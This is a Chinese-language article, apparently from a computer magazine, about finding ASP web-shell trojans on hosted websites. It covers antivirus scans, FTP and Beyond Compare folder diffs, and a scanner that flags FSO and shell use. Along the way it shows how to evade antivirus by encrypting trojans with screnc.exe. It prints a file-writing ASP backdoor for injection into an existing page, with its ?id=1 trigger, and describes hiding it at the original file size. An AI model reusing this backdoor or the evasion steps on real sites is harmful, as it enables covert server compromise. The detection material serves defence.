前一段时间以来,动网爆出了好几个重量级别的漏洞,个个都能导致入侵者在web空间中放置asp木马,asp木马可是网站管理员非常头疼的东西,它隐蔽性高、功能强,再加上不断翻新的种类来逃避杀毒软件,一旦web空间被放置了不同种类的asp木马,那么清除起来非常麻烦,很多朋友在细心整理web空间之后,仍然将asp木马驱之不尽,只有更换了全部的web文件,非常无奈!
网上的一些防范asp木马的教程都基于提前防范的基础之上,例如:禁止FSO,利用NTFS限制用户目录等等。这些方法虽然有效,但是都是基于提前防范的,而且对于一般的买空间来做网站的朋友来说显然不可能。我在这里讲讲如何有效的发现web空间中的asp木马并清除。
通过帮朋友整理web空间摸索出了一些技巧,这些技巧还挺管用,不敢独享,拿出来共享。
一.技巧1:杀毒软件查杀
一些朋友可能在成功得到上传权限之后,上传的asp木马是一些非常有名的asp木马,例如:cmdasp,海洋顶端木马,这些木马虽然功能强大,但是早已经被杀毒软件列入了黑名单,所以利用杀毒软件对web空间中的文件进行扫描,可以有效的发现并清除这些有名的asp木马。这是我利用瑞星杀毒软件在web目录中查杀到的一个asp木马,木马标注为:Script.ASP.Rootkit.10.a,在瑞星的网站上搜索一下,可以知道这就是海洋顶端木马。
利用这种方法,可以有效的对抗一些小菜上传的asp木马,效果明显。
二.技巧2:FTP客户端对比
上面的方法虽然对菜鸟入侵者比较管用,但是遇到稍微有点意识的入侵者来说,几乎失去效果,因为他们完全可以对asp木马进行伪装,加密,使其躲藏杀毒软件,这样的手法比较多,我个人比较喜欢微软开发个的一个asp加密小工具:screnc.exe,screnc.exe是一款ASP加密程序,加密的程式比较安全,使代码完全改变,使用也非常简单。只需要在命令下输入:
screnc.exe,得到帮助命令:Usage: screnc [/?] [/s] [/f] [/xl] [/l ScriptLanguage] [/e DefaultExtension] 〈source〉 〈destination〉,根据提示,只需要输入:screnc.exe 要加密的asp木马名 输出的asp木马名,就可以完成加密伪装。
经过加密之后,记事本打开查看,可以看到标签:〈% ……%〉,〈script〉〈/script〉
等标签内的代码成为一些“乱码”,而杀毒软件查杀asp木马是通过搜索关键字来查杀,着阿姨能够显然就躲过查杀。
盛大官方网站被黑,挂的网页木马代码就是利用screnc.exe来加密的,过了好几天才被发现,可见加密伪装手法的高超。
所以要采取另外的措施对付这种加密伪装的asp木马,我们可以利用一些FTP客户端软件(例如cuteftp,FlashFXP)提供的文件对比功能,通过对比FTP的中的web文件和本地的备份文件,发现是否错出可疑文件。
这里以FlashFXP进行操作讲解。
步骤1:打开FlashFXP,在左边窗口中跳转到本地web备份文件目录,在右边的FTP窗口中跳转到web目录下。
步骤2:点工具栏中的“工具”,选择其中的“比较文件夹命令”,即可进行对比文件夹,速度非常快。
我们可以清楚的看到196个对象被过滤,在FTP空间中多出了这样几个asp文件:.asp,2005.asp等,这十有八九就是入侵者留下的asp后门,打开确认一下即可。
三.技巧3:用Beyond Compare 2进行对比
上面的利用FTP客户端对比文件的方法,虽然有效,但是遇到渗透入文件的asp木马,那就无能为力了,这里介绍一款渗透性asp木马,可以将代码插入到指定web文件中,平常情况下不会显示,只有使用触发语句才能打开asp木马,其隐蔽性非常高。代码如下:
〈%
on error resume next
id=request("id")
if request("id")=1 then
testfile=Request.form("name")
msg=Request.form("message")
set fs=server.CreatObject("scripting.filesystemobject")
set thisfile=fs.openTestFile(testfile,8,True,0)
thisfile.Writeline(""&msg&"")
thisfile.close
set fs=nothing
%〉
〈from method="post" Action="保存"?id=1〉
〈input type="text" size="20" name="Name"
Value=〈%=server.mappath("XP.ASP")%〉〉
〈textarea name="Message" class=input〉
〈/textarea〉
〈input type="Submit" name="send" Value="生成"
class=input〉
〈/from〉
〈%end if%〉
注意:在修改目标主机的web文件时,要注意这样的文件修改后没有效果,即含有类似于:〈!--#include file="inc/conn.asp"--〉这样的文件包含命令,这样的代码存在时,加入asp代码后根本不会显示出脚本后门,但是脚本后门代码不会影响原文件的显示和功能。
假如已经对目标服务器www.target.com下的一个editor_InsertPic.asp文件进行了修改,插入了脚本后门代码,那么打开的方式是:www. target..com/editor_InsertPic.asp?id=1,注意后门的字符?id=1,有了这些字符,才能保证脚本后门显示出来!普通情况下打开www. target..com/editor_InsertPic.asp?id=1,是不会露出破绽的。
这招真是asp木马放置中非常狠的,如果遇到这样的情况,该怎么办?我们可以利用一款专业的文件对比工具Beyond Compare 2来完成木马的查找。
Beyond Compare 2一款不可多得的专业级的文件夹和文件对比工具。使用它可以很方便的对比出两个文件夹或者文件的不同之处。并把相差的每一个字节用颜色加以表示,查看方便。并且支持多种规则对比。
看我来利用它完成渗透性asp木马的查找。
步骤1:打开Beyond Compare 2,点工具栏中的“比较任务”,选择其中的选项:新建,在“比较模式”中选择“比较两个文件夹”。进入一下步,选择需要对比的两个文件夹路径,即备份过的网站文件以及从FTP上下载的网站文件,再在下面的“文件过滤器”中选择“包括所有文件”。在“比较范围”中选择“文件大小”。设置完毕即可开始比较。
步骤2:比较完毕,软件界面左右两边分别显示了比较的结果,从中可以很容易找到哪个目录多出了什么文件。
步骤3:文件名相同,但是大小不同的文件,会被软件用另外的颜色标注出来,选择上它们,然后选择工具栏的“操作”中的“比较内容”功能,即可展开两个文件的详细内容,从中我们可以看到FTP端的文件被插入了渗透asp木马。这下很容易找到了吧!
四.技巧4:利用组件性能找asp木马
上面分门别类的介绍了几种asp木马的放置与查杀技巧,一般的菜鸟,老鸟恐怕都是利用上面的方法来放置asp木马吧!所以可以有效的对抗web空间中上传的asp木马。这下可以高枕无忧了吧?呵呵!先别急,还有一种BT的asp木马放置方法,你可能很难想到,放置思路是这样的:在目标web空间中寻找一个不常用的,比较合适的asp文件,打开它对其进行代码精简,然后再将渗透asp木马的代码插入,再对其进行精简,直至与原本的文件大小一样。最后利用加密伪装的手法对其进行处理。这样就彻底练就了一个绝对隐藏的asp木马后门,一般的入侵者恐怕很难做到这一点,因为要精简代码的同时还要保证asp木马的功能不会错误。
如果你恰恰遇到一个这样的入侵者,那么该怎么才能查出被他放置的asp木马呢?你可能认为这已经不太可能了,呵呵!完全可能,看我拿出宝贝来:思易asp木马追捕。
它是一款专门检索各种asp文件所带功能的asp软件,通过搜索asp木马含有的特殊字符,以及搜索利用变量创建对象及静态对象建立的代码,来找出可能含有疑点的asp文件,从而有效的防范asp木马。
使用非常简单,只需要将文件asplist2.0.asp上传到web空间下,然后在地址拦中打开,就完成了所有asp文件的检索。可以看出它是通过查找各个asp文件的功能来确认是否为asp木马,这些功能也都是asp木马常用的:FSO,WS,SHELL,XML等等。
一般的web文件很少具有这样的功能,只有那些可恶的asp木马才具有,可以看到一些文件具备了相当多的功能,这时候,就可以打开这些文件来确认是否是asp木马,非常有效。
大家在查找web空间的asp木马时,最好几种方法结合起来,这样就能有效的查杀被隐藏起来的asp木马。
【责任编辑 徐洋】
|